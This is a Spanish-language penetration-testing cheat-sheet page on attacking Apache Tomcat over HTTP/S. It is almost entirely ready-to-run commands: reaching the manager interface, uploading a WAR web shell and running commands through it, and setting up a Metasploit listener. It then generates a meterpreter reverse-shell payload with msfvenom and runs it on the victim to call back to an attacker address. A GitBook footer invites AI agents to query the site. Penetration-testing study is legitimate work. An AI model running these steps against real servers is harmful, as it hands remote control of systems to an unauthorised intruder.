> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/servicios/80-tcp-443-tcp-http-s.md).

# 80/TCP, 443/TCP (HTTP/S)

## Apache Tomcat

Ruta de "Tomcat web application manager".

```shell
http://<IP-address>:<port>/manager/
```

Subir web shell en formato `war`.

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/shells/web-shell.war>

```shell
http://<IP-address>:<port>/web-shell/
http://<IP-address>:<port>/web-shell/index.jsp?cmd=whoami
```

Configuración de listener en Metasploit.

```shell
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost <attacker-IP-address>
set lport <listen-port>
run
```

Generar y subir reverse shell `reverse-shell.war` en máquina victima desde "Tomcat web application manager".

```shell
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f elf -o reverse-shell.war
```

Desde la web shell mover reverse shell `reverse-shell.war` a directorio `tmp` y asignar privilegios de ejecución.

```shell
ls -la /var/lib/tomcat8/webapps
mv /var/lib/tomcat8/webapps/reverse-shell.war /tmp/reverse-shell
ls /tmp/reverse-shell
chmod +x /tmp/reverse-shell
```

Ejecutar desde la web shell la reverse shell.

```shell
/tmp/reverse-shell
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/explotacion/servicios/80-tcp-443-tcp-http-s.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
